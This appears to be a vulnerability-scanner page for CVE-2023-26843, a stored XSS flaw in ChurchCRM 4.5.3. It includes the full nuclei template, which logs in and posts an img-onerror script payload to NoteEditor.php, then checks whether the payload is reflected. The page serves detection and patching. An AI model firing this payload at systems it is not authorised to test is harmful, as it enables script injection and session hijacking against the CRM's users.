ChurchCRM 4.5.3 - Cross-Site Scripting

mediumseverity

5.4CVSS score

1.4%likelihood of exploitation, next 30 days

73%of all CVEs are less likely

Readycheck to confirm it

A stored Cross-site scripting (XSS) vulnerability in ChurchCRM 4.5.3 allows remote attackers to inject arbitrary web script or HTML via the NoteEditor.php.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.

Fix

Upgrade to a patched version of ChurchCRM or apply the necessary security patches to mitigate the XSS vulnerability.

How to confirm it

Send: POST /session/begin ; POST /NoteEditor.php?FamilyID=1
Positive when: status_code_2 == 200 and contains(content_type_2, "text/html") and contains(body_2, "><img src=x onerror=alert(document.domain)>") and contains(body_2, "ChurchCRM")

Run it with nuclei: nuclei -id CVE-2023-26843 -u <target>

The full check

id: CVE-2023-26843

info:
  name: ChurchCRM 4.5.3 - Cross-Site Scripting
  author: Harsh
  severity: medium
  description: |
    A stored Cross-site scripting (XSS) vulnerability in ChurchCRM 4.5.3 allows remote attackers to inject arbitrary web script or HTML via the NoteEditor.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Upgrade to a patched version of ChurchCRM or apply the necessary security patches to mitigate the XSS vulnerability.
  reference:
    - https://github.com/10splayaSec/CVE-Disclosures/tree/main/ChurchCRM/CVE-2023-26843
    - https://nvd.nist.gov/vuln/detail/CVE-2023-26843
    - https://github.com/ChurchCRM/CRM
    - https://github.com/10splayaSec/CVE-Disclosures
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2023-26843
    cwe-id: CWE-79
    epss-score: 0.0142
    epss-percentile: 0.73059
    cpe: cpe:2.3:a:churchcrm:churchcrm:4.5.3:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: churchcrm
    product: churchcrm
  tags: cve2023,cve,churchcrm,stored-xss,xss,authenticated,vuln

http:
  - raw:
      - |
        POST /session/begin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        User={{username}}&Password={{password}}
      - |
        POST /NoteEditor.php?FamilyID=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        PersonID=0&FamilyID=1&NoteID=&NoteText=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29%3E&Submit=Save

    redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "><img src=x onerror=alert(document.domain)>")'
          - 'contains(body_2, "ChurchCRM")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from